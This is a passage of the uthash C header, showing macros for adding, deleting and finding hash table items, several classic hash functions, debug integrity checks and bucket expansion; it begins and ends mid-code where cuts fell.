\\\n    }                                                                            \\\n  } else {                                                                       \\\n    (add)->hh.tbl = NULL;                                                        \\\n    uthash_nonfatal_oom(add);                                                    \\\n  }                                                                              \\\n} while (0)\n\n#else\n\n#define HASH_ADD_TO_TABLE(hh,head,keyptr,keylen_in,hashval,add,oomed)            \\\ndo {                                                                             \\\n  unsigned _ha_bkt;                                                              \\\n  (head)->hh.tbl->num_items++;                                                   \\\n  HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _ha_bkt);                    \\\n  HASH_ADD_TO_BKT((head)->hh.tbl->buckets[_ha_bkt], hh, &(add)->hh, oomed);      \\\n  HASH_BLOOM_ADD((head)->hh.tbl, hashval);                                       \\\n  HASH_EMIT_KEY(hh, head, keyptr, keylen_in);                                    \\\n} while (0)\n\n#endif\n\n\n#define HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh,head,keyptr,keylen_in,hashval,add,cmpfcn) \\\ndo {                                                                             \\\n  IF_HASH_NONFATAL_OOM( int _ha_oomed = 0; )                                     \\\n  (add)->hh.hashv = (hashval);                                                   \\\n  (add)->hh.key = (char*) (keyptr);                                              \\\n  (add)->hh.keylen = (unsigned) (keylen_in);                                     \\\n  if (!(head)) {                                                                 \\\n    (add)->hh.next = NULL;                                                       \\\n    (add)->hh.prev = NULL;                                                       \\\n    HASH_MAKE_TABLE(hh, add, _ha_oomed);                                         \\\n    IF_HASH_NONFATAL_OOM( if (!_ha_oomed) { )                                    \\\n      (head) = (add);                                                            \\\n    IF_HASH_NONFATAL_OOM( } )                                                    \\\n  } else {                                                                       \\\n    void *_hs_iter = (head);                                                     \\\n    (add)->hh.tbl = (head)->hh.tbl;                                              \\\n    HASH_AKBI_INNER_LOOP(hh, head, add, cmpfcn);                                 \\\n    if (_hs_iter) {                                                              \\\n      (add)->hh.next = _hs_iter;                                                 \\\n      if (((add)->hh.prev = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->prev)) {     \\\n        HH_FROM_ELMT((head)->hh.tbl, (add)->hh.prev)->next = (add);              \\\n      } else {                                                                   \\\n        (head) = (add);                                                          \\\n      }                                                                          \\\n      HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->prev = (add);                      \\\n    } else {                                                                     \\\n      HASH_APPEND_LIST(hh, head, add);                                           \\\n    }                                                                            \\\n  }                                                                              \\\n  HASH_ADD_TO_TABLE(hh, head, keyptr, keylen_in, hashval, add, _ha_oomed);       \\\n  HASH_FSCK(hh, head, \"HASH_ADD_KEYPTR_BYHASHVALUE_INORDER\");                    \\\n} while (0)\n\n#define HASH_ADD_KEYPTR_INORDER(hh,head,keyptr,keylen_in,add,cmpfcn)             \\\ndo {                                                                             \\\n  unsigned _hs_hashv;                                                            \\\n  HASH_VALUE(keyptr, keylen_in, _hs_hashv);                                      \\\n  HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, keyptr, keylen_in, _hs_hashv, add, cmpfcn); \\\n} while (0)\n\n#define HASH_ADD_BYHASHVALUE_INORDER(hh,head,fieldname,keylen_in,hashval,add,cmpfcn) \\\n  HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, &((add)->fieldname), keylen_in, hashval, add, cmpfcn)\n\n#define HASH_ADD_INORDER(hh,head,fieldname,keylen_in,add,cmpfcn)                 \\\n  HASH_ADD_KEYPTR_INORDER(hh, head, &((add)->fieldname), keylen_in, add, cmpfcn)\n\n#define HASH_ADD_KEYPTR_BYHASHVALUE(hh,head,keyptr,keylen_in,hashval,add)        \\\ndo {                                                                             \\\n  IF_HASH_NONFATAL_OOM( int _ha_oomed = 0; )                                     \\\n  (add)->hh.hashv = (hashval);                                                   \\\n  (add)->hh.key = (const void*) (keyptr);                                        \\\n  (add)->hh.keylen = (unsigned) (keylen_in);                                     \\\n  if (!(head)) {                                                                 \\\n    (add)->hh.next = NULL;                                                       \\\n    (add)->hh.prev = NULL;                                                       \\\n    HASH_MAKE_TABLE(hh, add, _ha_oomed);                                         \\\n    IF_HASH_NONFATAL_OOM( if (!_ha_oomed) { )                                    \\\n      (head) = (add);                                                            \\\n    IF_HASH_NONFATAL_OOM( } )                                                    \\\n  } else {                                                                       \\\n    (add)->hh.tbl = (head)->hh.tbl;                                              \\\n    HASH_APPEND_LIST(hh, head, add);                                             \\\n  }                                                                              \\\n  HASH_ADD_TO_TABLE(hh, head, keyptr, keylen_in, hashval, add, _ha_oomed);       \\\n  HASH_FSCK(hh, head, \"HASH_ADD_KEYPTR_BYHASHVALUE\");                            \\\n} while (0)\n\n#define HASH_ADD_KEYPTR(hh,head,keyptr,keylen_in,add)                            \\\ndo {                                                                             \\\n  unsigned _ha_hashv;                                                            \\\n  HASH_VALUE(keyptr, keylen_in, _ha_hashv);                                      \\\n  HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, keyptr, keylen_in, _ha_hashv, add);      \\\n} while (0)\n\n#define HASH_ADD_BYHASHVALUE(hh,head,fieldname,keylen_in,hashval,add)            \\\n  HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, add)\n\n#define HASH_ADD(hh,head,fieldname,keylen_in,add)                                \\\n  HASH_ADD_KEYPTR(hh, head, &((add)->fieldname), keylen_in, add)\n\n#define HASH_TO_BKT(hashv,num_bkts,bkt)                                          \\\ndo {                                                                             \\\n  bkt = ((hashv) & ((num_bkts) - 1U));                                           \\\n} while (0)\n\n/* delete \"delptr\" from the hash table.\n * \"the usual\" patch-up process for the app-order doubly-linked-list.\n * The use of _hd_hh_del below deserves special explanation.\n * These used to be expressed using (delptr) but that led to a bug\n * if someone used the same symbol for the head and deletee, like\n *  HASH_DELETE(hh,users,users);\n * We want that to work, but by changing the head (users) below\n * we were forfeiting our ability to further refer to the deletee (users)\n * in the patch-up process. Solution: use scratch space to\n * copy the deletee pointer, then the latter references are via that\n * scratch pointer rather than through the repointed (users) symbol.\n */\n#define HASH_DELETE(hh,head,delptr)                                              \\\n    HASH_DELETE_HH(hh, head, &(delptr)->hh)\n\n#define HASH_DELETE_HH(hh,head,delptrhh)                                         \\\ndo {                                                                             \\\n  const struct UT_hash_handle *_hd_hh_del = (delptrhh);                          \\\n  if ((_hd_hh_del->prev == NULL) && (_hd_hh_del->next == NULL)) {                \\\n    HASH_BLOOM_FREE((head)->hh.tbl);                                             \\\n    uthash_free((head)->hh.tbl->buckets,                                         \\\n                (head)->hh.tbl->num_buckets * sizeof(struct UT_hash_bucket));    \\\n    uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                          \\\n    (head) = NULL;                                                               \\\n  } else {                                                                       \\\n    unsigned _hd_bkt;                                                            \\\n    if (_hd_hh_del == (head)->hh.tbl->tail) {                                    \\\n      (head)->hh.tbl->tail = HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->prev);     \\\n    }                                                                            \\\n    if (_hd_hh_del->prev != NULL) {                                              \\\n      HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->prev)->next = _hd_hh_del->next;   \\\n    } else {                                                                     \\\n      DECLTYPE_ASSIGN(head, _hd_hh_del->next);                                   \\\n    }                                                                            \\\n    if (_hd_hh_del->next != NULL) {                                              \\\n      HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->next)->prev = _hd_hh_del->prev;   \\\n    }                                                                            \\\n    HASH_TO_BKT(_hd_hh_del->hashv, (head)->hh.tbl->num_buckets, _hd_bkt);        \\\n    HASH_DEL_IN_BKT((head)->hh.tbl->buckets[_hd_bkt], _hd_hh_del);               \\\n    (head)->hh.tbl->num_items--;                                                 \\\n  }                                                                              \\\n  HASH_FSCK(hh, head, \"HASH_DELETE_HH\");                                         \\\n} while (0)\n\n /* convenience forms of HASH_FIND/HASH_ADD/HASH_DEL */\n#define HASH_FIND_STR(head,findstr,out)                                          \\\ndo {                                                                             \\\n    unsigned _uthash_hfstr_keylen = (unsigned)uthash_strlen(findstr);            \\\n    HASH_FIND(hh, head, findstr, _uthash_hfstr_keylen, out);                     \\\n} while (0)\n#define HASH_ADD_STR(head,strfield,add)                                          \\\ndo {                                                                             \\\n    unsigned _uthash_hastr_keylen = (unsigned)uthash_strlen((add)->strfield);    \\\n    HASH_ADD(hh, head, strfield[0], _uthash_hastr_keylen, add);                  \\\n} while (0)\n#define HASH_REPLACE_STR(head,strfield,add,replaced)                             \\\ndo {                                                                             \\\n    unsigned _uthash_hrstr_keylen = (unsigned)uthash_strlen((add)->strfield);    \\\n    HASH_REPLACE(hh, head, strfield[0], _uthash_hrstr_keylen, add, replaced);    \\\n} while (0)\n#define HASH_FIND_INT(head,findint,out)                                          \\\n    HASH_FIND(hh,head,findint,sizeof(int),out)\n#define HASH_ADD_INT(head,intfield,add)                                          \\\n    HASH_ADD(hh,head,intfield,sizeof(int),add)\n#define HASH_REPLACE_INT(head,intfield,add,replaced)                             \\\n    HASH_REPLACE(hh,head,intfield,sizeof(int),add,replaced)\n#define HASH_FIND_PTR(head,findptr,out)                                          \\\n    HASH_FIND(hh,head,findptr,sizeof(void *),out)\n#define HASH_ADD_PTR(head,ptrfield,add)                                          \\\n    HASH_ADD(hh,head,ptrfield,sizeof(void *),add)\n#define HASH_REPLACE_PTR(head,ptrfield,add,replaced)                             \\\n    HASH_REPLACE(hh,head,ptrfield,sizeof(void *),add,replaced)\n#define HASH_DEL(head,delptr)                                                    \\\n    HASH_DELETE(hh,head,delptr)\n\n/* HASH_FSCK checks hash integrity on every add/delete when HASH_DEBUG is defined.\n * This is for uthash developer only; it compiles away if HASH_DEBUG isn't defined.\n */\n#ifdef HASH_DEBUG\n#include <stdio.h>   /* fprintf, stderr */\n#define HASH_OOPS(...) do { fprintf(stderr, __VA_ARGS__); exit(-1); } while (0)\n#define HASH_FSCK(hh,head,where)                                                 \\\ndo {                                                                             \\\n  struct UT_hash_handle *_thh;                                                   \\\n  if (head) {                                                                    \\\n    unsigned _bkt_i;                                                             \\\n    unsigned _count = 0;                                                         \\\n    char *_prev;                                                                 \\\n    for (_bkt_i = 0; _bkt_i < (head)->hh.tbl->num_buckets; ++_bkt_i) {           \\\n      unsigned _bkt_count = 0;                                                   \\\n      _thh = (head)->hh.tbl->buckets[_bkt_i].hh_head;                            \\\n      _prev = NULL;                                                              \\\n      while (_thh) {                                                             \\\n        if (_prev != (char*)(_thh->hh_prev)) {                                   \\\n          HASH_OOPS(\"%s: invalid hh_prev %p, actual %p\\n\",                       \\\n              (where), (void*)_thh->hh_prev, (void*)_prev);                      \\\n        }                                                                        \\\n        _bkt_count++;                                                            \\\n        _prev = (char*)(_thh);                                                   \\\n        _thh = _thh->hh_next;                                                    \\\n      }                                                                          \\\n      _count += _bkt_count;                                                      \\\n      if ((head)->hh.tbl->buckets[_bkt_i].count !=  _bkt_count) {                \\\n        HASH_OOPS(\"%s: invalid bucket count %u, actual %u\\n\",                    \\\n            (where), (head)->hh.tbl->buckets[_bkt_i].count, _bkt_count);         \\\n      }                                                                          \\\n    }                                                                            \\\n    if (_count != (head)->hh.tbl->num_items) {                                   \\\n      HASH_OOPS(\"%s: invalid hh item count %u, actual %u\\n\",                     \\\n          (where), (head)->hh.tbl->num_items, _count);                           \\\n    }                                                                            \\\n    _count = 0;                                                                  \\\n    _prev = NULL;                                                                \\\n    _thh =  &(head)->hh;                                                         \\\n    while (_thh) {                                                               \\\n      _count++;                                                                  \\\n      if (_prev != (char*)_thh->prev) {                                          \\\n        HASH_OOPS(\"%s: invalid prev %p, actual %p\\n\",                            \\\n            (where), (void*)_thh->prev, (void*)_prev);                           \\\n      }                                                                          \\\n      _prev = (char*)ELMT_FROM_HH((head)->hh.tbl, _thh);                         \\\n      _thh = (_thh->next ? HH_FROM_ELMT((head)->hh.tbl, _thh->next) : NULL);     \\\n    }                                                                            \\\n    if (_count != (head)->hh.tbl->num_items) {                                   \\\n      HASH_OOPS(\"%s: invalid app item count %u, actual %u\\n\",                    \\\n          (where), (head)->hh.tbl->num_items, _count);                           \\\n    }                                                                            \\\n  }                                                                              \\\n} while (0)\n#else\n#define HASH_FSCK(hh,head,where)\n#endif\n\n /* When compiled with -DHASH_EMIT_KEYS, length-prefixed keys are emitted to\n  * the descriptor to which this macro is defined for tuning the hash function.\n  * The app can #include <unistd.h> to get the prototype for write(2). */\n#ifdef HASH_EMIT_KEYS\n#define HASH_EMIT_KEY(hh,head,keyptr,fieldlen)                                   \\\ndo {                                                                             \\\n  unsigned _klen = fieldlen;                                                     \\\n  write(HASH_EMIT_KEYS, &_klen, sizeof(_klen));                                  \\\n  write(HASH_EMIT_KEYS, keyptr, (unsigned long)fieldlen);                        \\\n} while (0)\n#else\n#define HASH_EMIT_KEY(hh,head,keyptr,fieldlen)\n#endif\n\n  /* The Bernstein hash function, used in Perl prior to v5.6. Note (x<<5+x)=x*33. */\n#define HASH_BER(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _hb_keylen = (unsigned)keylen;                                        \\\n  const unsigned char *_hb_key = (const unsigned char*)(key);                    \\\n  (hashv) = 0;                                                                   \\\n  while (_hb_keylen-- != 0U) {                                                   \\\n    (hashv) = (((hashv) << 5) + (hashv)) + *_hb_key++;                           \\\n  }                                                                              \\\n} while (0)\n\n\n/* SAX/FNV/OAT/JEN hash functions are macro variants of those listed at\n * http://eternallyconfuzzled.com/tuts/algorithms/jsw_tut_hashing.aspx\n * (archive link: https://archive.is/Ivcan )\n */\n#define HASH_SAX(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _sx_i;                                                                \\\n  const unsigned char *_hs_key = (const unsigned char*)(key);                    \\\n  hashv = 0;                                                                     \\\n  for (_sx_i=0; _sx_i < keylen; _sx_i++) {                                       \\\n    hashv ^= (hashv << 5) + (hashv >> 2) + _hs_key[_sx_i];                       \\\n  }                                                                              \\\n} while (0)\n /* FNV-1a variation */\n#define HASH_FNV(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _fn_i;                                                                \\\n  const unsigned char *_hf_key = (const unsigned char*)(key);                    \\\n  (hashv) = 2166136261U;                                                         \\\n  for (_fn_i=0; _fn_i < keylen; _fn_i++) {                                       \\\n    hashv = hashv ^ _hf_key[_fn_i];                                              \\\n    hashv = hashv * 16777619U;                                                   \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_OAT(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _ho_i;                                                                \\\n  const unsigned char *_ho_key=(const unsigned char*)(key);                      \\\n  hashv = 0;                                                                     \\\n  for(_ho_i=0; _ho_i < keylen; _ho_i++) {                                        \\\n      hashv += _ho_key[_ho_i];                                                   \\\n      hashv += (hashv << 10);                                                    \\\n      hashv ^= (hashv >> 6);                                                     \\\n  }                                                                              \\\n  hashv += (hashv << 3);                                                         \\\n  hashv ^= (hashv >> 11);                                                        \\\n  hashv += (hashv << 15);                                                        \\\n} while (0)\n\n#define HASH_JEN_MIX(a,b,c)                                                      \\\ndo {                                                                             \\\n  a -= b; a -= c; a ^= ( c >> 13 );                                              \\\n  b -= c; b -= a; b ^= ( a << 8 );                                               \\\n  c -= a; c -= b; c ^= ( b >> 13 );                                              \\\n  a -= b; a -= c; a ^= ( c >> 12 );                                              \\\n  b -= c; b -= a; b ^= ( a << 16 );                                              \\\n  c -= a; c -= b; c ^= ( b >> 5 );                                               \\\n  a -= b; a -= c; a ^= ( c >> 3 );                                               \\\n  b -= c; b -= a; b ^= ( a << 10 );                                              \\\n  c -= a; c -= b; c ^= ( b >> 15 );                                              \\\n} while (0)\n\n#define HASH_JEN(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned _hj_i,_hj_j,_hj_k;                                                    \\\n  unsigned const char *_hj_key=(unsigned const char*)(key);                      \\\n  hashv = 0xfeedbeefu;                                                           \\\n  _hj_i = _hj_j = 0x9e3779b9u;                                                   \\\n  _hj_k = (unsigned)(keylen);                                                    \\\n  while (_hj_k >= 12U) {                                                         \\\n    _hj_i +=    (_hj_key[0] + ( (unsigned)_hj_key[1] << 8 )                      \\\n        + ( (unsigned)_hj_key[2] << 16 )                                         \\\n        + ( (unsigned)_hj_key[3] << 24 ) );                                      \\\n    _hj_j +=    (_hj_key[4] + ( (unsigned)_hj_key[5] << 8 )                      \\\n        + ( (unsigned)_hj_key[6] << 16 )                                         \\\n        + ( (unsigned)_hj_key[7] << 24 ) );                                      \\\n    hashv += (_hj_key[8] + ( (unsigned)_hj_key[9] << 8 )                         \\\n        + ( (unsigned)_hj_key[10] << 16 )                                        \\\n        + ( (unsigned)_hj_key[11] << 24 ) );                                     \\\n                                                                                 \\\n     HASH_JEN_MIX(_hj_i, _hj_j, hashv);                                          \\\n                                                                                 \\\n     _hj_key += 12;                                                              \\\n     _hj_k -= 12U;                                                               \\\n  }                                                                              \\\n  hashv += (unsigned)(keylen);                                                   \\\n  switch ( _hj_k ) {                                                             \\\n    case 11: hashv += ( (unsigned)_hj_key[10] << 24 ); /* FALLTHROUGH */         \\\n    case 10: hashv += ( (unsigned)_hj_key[9] << 16 );  /* FALLTHROUGH */         \\\n    case 9:  hashv += ( (unsigned)_hj_key[8] << 8 );   /* FALLTHROUGH */         \\\n    case 8:  _hj_j += ( (unsigned)_hj_key[7] << 24 );  /* FALLTHROUGH */         \\\n    case 7:  _hj_j += ( (unsigned)_hj_key[6] << 16 );  /* FALLTHROUGH */         \\\n    case 6:  _hj_j += ( (unsigned)_hj_key[5] << 8 );   /* FALLTHROUGH */         \\\n    case 5:  _hj_j += _hj_key[4];                      /* FALLTHROUGH */         \\\n    case 4:  _hj_i += ( (unsigned)_hj_key[3] << 24 );  /* FALLTHROUGH */         \\\n    case 3:  _hj_i += ( (unsigned)_hj_key[2] << 16 );  /* FALLTHROUGH */         \\\n    case 2:  _hj_i += ( (unsigned)_hj_key[1] << 8 );   /* FALLTHROUGH */         \\\n    case 1:  _hj_i += _hj_key[0];                      /* FALLTHROUGH */         \\\n    default: ;                                                                   \\\n  }                                                                              \\\n  HASH_JEN_MIX(_hj_i, _hj_j, hashv);                                             \\\n} while (0)\n\n/* The Paul Hsieh hash function */\n#undef get16bits\n#if (defined(__GNUC__) && defined(__i386__)) || defined(__WATCOMC__)             \\\n  || defined(_MSC_VER) || defined (__BORLANDC__) || defined (__TURBOC__)\n#define get16bits(d) (*((const uint16_t *) (d)))\n#endif\n\n#if !defined (get16bits)\n#define get16bits(d) ((((uint32_t)(((const uint8_t *)(d))[1])) << 8)             \\\n                       +(uint32_t)(((const uint8_t *)(d))[0]) )\n#endif\n#define HASH_SFH(key,keylen,hashv)                                               \\\ndo {                                                                             \\\n  unsigned const char *_sfh_key=(unsigned const char*)(key);                     \\\n  uint32_t _sfh_tmp, _sfh_len = (uint32_t)keylen;                                \\\n                                                                                 \\\n  unsigned _sfh_rem = _sfh_len & 3U;                                             \\\n  _sfh_len >>= 2;                                                                \\\n  hashv = 0xcafebabeu;                                                           \\\n                                                                                 \\\n  /* Main loop */                                                                \\\n  for (;_sfh_len > 0U; _sfh_len--) {                                             \\\n    hashv    += get16bits (_sfh_key);                                            \\\n    _sfh_tmp  = ((uint32_t)(get16bits (_sfh_key+2)) << 11) ^ hashv;              \\\n    hashv     = (hashv << 16) ^ _sfh_tmp;                                        \\\n    _sfh_key += 2U*sizeof (uint16_t);                                            \\\n    hashv    += hashv >> 11;                                                     \\\n  }                                                                              \\\n                                                                                 \\\n  /* Handle end cases */                                                         \\\n  switch (_sfh_rem) {                                                            \\\n    case 3: hashv += get16bits (_sfh_key);                                       \\\n            hashv ^= hashv << 16;                                                \\\n            hashv ^= (uint32_t)(_sfh_key[sizeof (uint16_t)]) << 18;              \\\n            hashv += hashv >> 11;                                                \\\n            break;                                                               \\\n    case 2: hashv += get16bits (_sfh_key);                                       \\\n            hashv ^= hashv << 11;                                                \\\n            hashv += hashv >> 17;                                                \\\n            break;                                                               \\\n    case 1: hashv += *_sfh_key;                                                  \\\n            hashv ^= hashv << 10;                                                \\\n            hashv += hashv >> 1;                                                 \\\n            break;                                                               \\\n    default: ;                                                                   \\\n  }                                                                              \\\n                                                                                 \\\n  /* Force \"avalanching\" of final 127 bits */                                    \\\n  hashv ^= hashv << 3;                                                           \\\n  hashv += hashv >> 5;                                                           \\\n  hashv ^= hashv << 4;                                                           \\\n  hashv += hashv >> 17;                                                          \\\n  hashv ^= hashv << 25;                                                          \\\n  hashv += hashv >> 6;                                                           \\\n} while (0)\n\n/* iterate over items in a known bucket to find desired item */\n#define HASH_FIND_IN_BKT(tbl,hh,head,keyptr,keylen_in,hashval,out)               \\\ndo {                                                                             \\\n  if ((head).hh_head != NULL) {                                                  \\\n    DECLTYPE_ASSIGN(out, ELMT_FROM_HH(tbl, (head).hh_head));                     \\\n  } else {                                                                       \\\n    (out) = NULL;                                                                \\\n  }                                                                              \\\n  while ((out) != NULL) {                                                        \\\n    if ((out)->hh.hashv == (hashval) && (out)->hh.keylen == (keylen_in)) {       \\\n      if (HASH_KEYCMP((out)->hh.key, keyptr, keylen_in) == 0) {                  \\\n        break;                                                                   \\\n      }                                                                          \\\n    }                                                                            \\\n    if ((out)->hh.hh_next != NULL) {                                             \\\n      DECLTYPE_ASSIGN(out, ELMT_FROM_HH(tbl, (out)->hh.hh_next));                \\\n    } else {                                                                     \\\n      (out) = NULL;                                                              \\\n    }                                                                            \\\n  }                                                                              \\\n} while (0)\n\n/* add an item to a bucket  */\n#define HASH_ADD_TO_BKT(head,hh,addhh,oomed)                                     \\\ndo {                                                                             \\\n  UT_hash_bucket *_ha_head = &(head);                                            \\\n  _ha_head->count++;                                                             \\\n  (addhh)->hh_next = _ha_head->hh_head;                                          \\\n  (addhh)->hh_prev = NULL;                                                       \\\n  if (_ha_head->hh_head != NULL) {                                               \\\n    _ha_head->hh_head->hh_prev = (addhh);                                        \\\n  }                                                                              \\\n  _ha_head->hh_head = (addhh);                                                   \\\n  if ((_ha_head->count >= ((_ha_head->expand_mult + 1U) * HASH_BKT_CAPACITY_THRESH)) \\\n      && !(addhh)->tbl->noexpand) {                                              \\\n    HASH_EXPAND_BUCKETS(addhh,(addhh)->tbl, oomed);                              \\\n    IF_HASH_NONFATAL_OOM(                                                        \\\n      if (oomed) {                                                               \\\n        HASH_DEL_IN_BKT(head,addhh);                                             \\\n      }                                                                          \\\n    )                                                                            \\\n  }                                                                              \\\n} while (0)\n\n/* remove an item from a given bucket */\n#define HASH_DEL_IN_BKT(head,delhh)                                              \\\ndo {                                                                             \\\n  UT_hash_bucket *_hd_head = &(head);                                            \\\n  _hd_head->count--;                                                             \\\n  if (_hd_head->hh_head == (delhh)) {                                            \\\n    _hd_head->hh_head = (delhh)->hh_next;                                        \\\n  }                                                                              \\\n  if ((delhh)->hh_prev) {                                                        \\\n    (delhh)->hh_prev->hh_next = (delhh)->hh_next;                                \\\n  }                                                                              \\\n  if ((delhh)->hh_next) {                                                        \\\n    (delhh)->hh_next->hh_prev = (delhh)->hh_prev;                                \\\n  }                                                                              \\\n} while (0)\n\n/* Bucket expansion has the effect of doubling the number of buckets\n * and redistributing the items into the new buckets. Ideally the\n * items will distribute more or less evenly into the new buckets\n * (the extent to which this is true is a measure of the quality of\n * the hash function as it applies to the key domain).\n *\n * With the items distributed into more buckets, the chain length\n * (item count) in each bucket is reduced. Thus by expanding buckets\n * the hash keeps a bound on the chain length. This bounded chain\n * length is the essence of how a hash provides constant time lookup.\n *\n * The calculation of tbl->ideal_chain_maxlen below deserves some\n * explanation. First, keep in mind that we're calculating the ideal\n * maximum chain length based on the *new* (doubled) bucket count.\n * In fractions this is just n/b (n=number of items,b=new num buckets).\n * Since the ideal chain length is an integer, we want to calculate\n * ceil(n/b). We don't depend on floating point arithmetic in this\n * hash, so to calculate ceil(n/b) with integers we could write\n *\n *      ceil(n/b) = (n/b) + ((n%b)?1:0)\n *\n * and in fact a previous version of this hash did just that.\n * But now we have improved things a bit by recognizing that b is\n * always a power of two. We keep its base 2 log handy (call it lb),\n * so now we can write this with a bit shift and logical AND:\n *\n *      ceil(n/b) = (n>>lb) + ( (n & (b-1)) ? 1:0)\n *\n */\n#define HASH_EXPAND_BUCKETS(hh,tbl,oomed)                                        \\\ndo {                                                                             \\\n  unsigned _he_bkt;                                                              \\\n  unsigned _he_bkt_i;                                                            \\\n  struct UT_hash_handle *_he_thh, *_he_hh_nxt;                                   \\\n  UT_hash_bucket *_he_new_buckets, *_he_newbkt;                                  \\\n  _he_new_buckets = (UT_hash_bucket*)uthash_malloc(                              \\\n           sizeof(struct UT_hash_bucket) * (tbl)->num_buckets * 2U);             \\\n  if (!_he_new_buckets) {                                                        \\\n    HASH_RECORD_OOM(oomed);                                                      \\\n  } else {                                                                       \\\n    uthash_bzero(_he_new_buckets,                                                \\\n        sizeof(struct UT_hash_bucket) * (tbl)->num_buckets * 2U);                \\\n    (tbl)->ideal_chain_maxlen =                                                  \\\n       ((tbl)->num_items >> ((tbl)->log2_num_buckets+1U)) +                      \\\n       ((((tbl)->num_items & (((tbl)->num_buckets*2U)-1U)) != 0U) ? 1U : 0U);    \\\n    (tbl)->nonideal_items = 0;                                                   \\\n    for (_he_bkt_i = 0; _he_bkt_i < (tbl)->num_buckets; _he_bkt_i++) {           \\\n      _he_thh = (tbl)->buckets[ _he_bkt_i ].hh_head;                             \\\n      while (_he_thh != NULL) {                                                  \\\n        _he_hh_nxt = _he_thh->hh_next;                                           \\\n        HASH_TO_BKT(_he_thh->hashv, (tbl)->num_buckets * 2U, _he_bkt);           \\\n        _he_newbkt = &(_he_new_buckets[_he_bkt]);                                \\\n        if (++(_he_newbkt->count) > (tbl)->ideal_chain_maxlen) {                 \\\n          (tbl)->nonideal_items++;                                               \\\n          if (_he_newbkt->count > _he_newbkt->expand_mult * (tbl)->ideal_chain_maxlen) { \\\n            _he_newbkt->expand_mult++;                                           \\\n          }                                                                      \\\n        }                                                                        \\\n        _he_thh->hh_prev = NULL;                                                 \\\n        _he_thh->hh_next = _he_newbkt->hh_head;                                  \\\n        if (_he_newbkt->hh_head != NULL) {                                       \\\n          _he_newbkt->hh_head->hh_prev = _he_thh;                                \\\n        }                                                                        \\\n        _he_newbkt->hh_head = _he_thh;                                           \\\n        _he_thh = _he_hh_nxt;                                                    \\\n      }                                                                          \\\n    }                                                                            \\\n    uthash_free((tbl)->buckets, (tbl)->num_buckets * sizeof(struct UT_hash_bucket)); \\\n    (tbl)->num_buckets *= 2U;                                                    \\\n    (tbl)->log2_num_buckets++;                                                   \\\n    (tbl)->buckets = _he_new_buckets;                                            \\\n    (tbl)->ineff_expands = ((tbl)->nonideal_items > ((tbl)->num_items >> 1)) ?   \\\n        ((tbl)->ineff_expands+1U) : 0U;                                          \\\n    if ((tbl)->ineff_expands > 1U) {                                             \\\n      (tbl)->noexpand = 1;                                                       \\\n      uthash_noexpand_fyi(tbl);                                                  \\\n    }                                                                            \\\n    uthash_expand_fyi(tbl);                                                      \\\n  }                                                                              \\\n} while (0)\n\n\n /* This is an adaptation of Simon Tatham's O(n log(n)) mergesort */\n /* Note that HASH_SORT assumes the hash handle name to be hh.\n  * HASH_SRT was added to allow the hash handle name to be passed in. */\n#define HASH_SORT(head,cmpfcn) HASH_SRT(hh,head,cmpfcn)\n#define HASH_SRT(hh,head,cmpfcn)                                                 \\\ndo {                                                                             \\\n  unsigned _hs_i;                                                                \\\n  unsigned _hs_looping,_hs_nmerges,_hs_insize,_hs_psize,_hs_qsize;               \\\n  struct UT_hash_handle *_hs_p, *_hs_q, *_hs_e, *_hs_list, *_hs_tail;            \\\n  if (head != NULL) {                                                            \\\n    _hs_insize = 1;                                                              \\\n    _hs_looping = 1;                                                             \\\n    _hs_list = &((head)->hh);                                                    \\\n    while (_hs_looping != 0U) {                                                  \\\n      _hs_p = _hs_list;                                                          \\\n      _hs_list = NULL;                                                           \\\n      _hs_tail = NULL;                                                           \\\n      _hs_nmerges = 0;                                                           \\\n      while (_hs_p != NULL) {                                                    \\\n        _hs_nmerges++;                                                           \\\n        _hs_q = _hs_p;                                                           \\\n        _hs_psize = 0;                                                           \\\n        for (_hs_i = 0; _hs_i < _hs_insize; ++_hs_i) {                           \\\n          _hs_psize++;                                                           \\\n          _hs_q = ((_hs_q->next != NULL) ?                                       \\\n            HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL);                   \\\n          if (_hs_q == NULL) {                                                   \\\n            break;                                                               \\\n          }                                                                      \\\n        }                                                                        \\\n        _hs_qsize = _hs_insize;                                                  \\\n        while ((_hs_psize != 0U) || ((_hs_qsize != 0U) && (_hs_q != NULL))) {    \\\n          if (_hs_psize == 0U) {                                                 \\\n            _hs_e = _hs_q;                                                       \\\n            _hs_q = ((_hs_q->next != NULL) ?                                     \\\n              HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL);                 \\\n            _hs_qsize--;                                                         \\\n          } else if ((_hs_qsize == 0U) || (_hs_q == NULL)) {                     \\\n            _hs_e = _hs_p;                                                       \\\n            if (_hs_p != NULL) {                                                 \\\n              _hs_p = ((_hs_p->next != NULL) ?                                   \\\n                HH_FROM_ELMT((head)->hh.tbl, _hs_p->next) : NULL);               \\\n            }                                                                    \\\n            _hs_psize--;                                                         \\\n          } else if ((cmpfcn(                                                    \\\n                DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl, _hs_p)),             \\\n                DECLTYPE(head)(ELMT_FROM_HH((head)->hh.tbl, _hs_q))              \\\n                )) <= 0) {                                                       \\\n            _hs_e = _hs_p;                                                       \\\n            if (_hs_p != NULL) {                                                 \\\n              _hs_p = ((_hs_p->next != NULL) ?                                   \\\n                HH_FROM_ELMT((head)->hh.tbl, _hs_p->next) : NULL);               \\\n            }                                                                    \\\n            _hs_psize--;                                                         \\\n          } else {                                                               \\\n            _hs_e = _hs_q;                                                       \\\n            _hs_q = ((_hs_q->next != 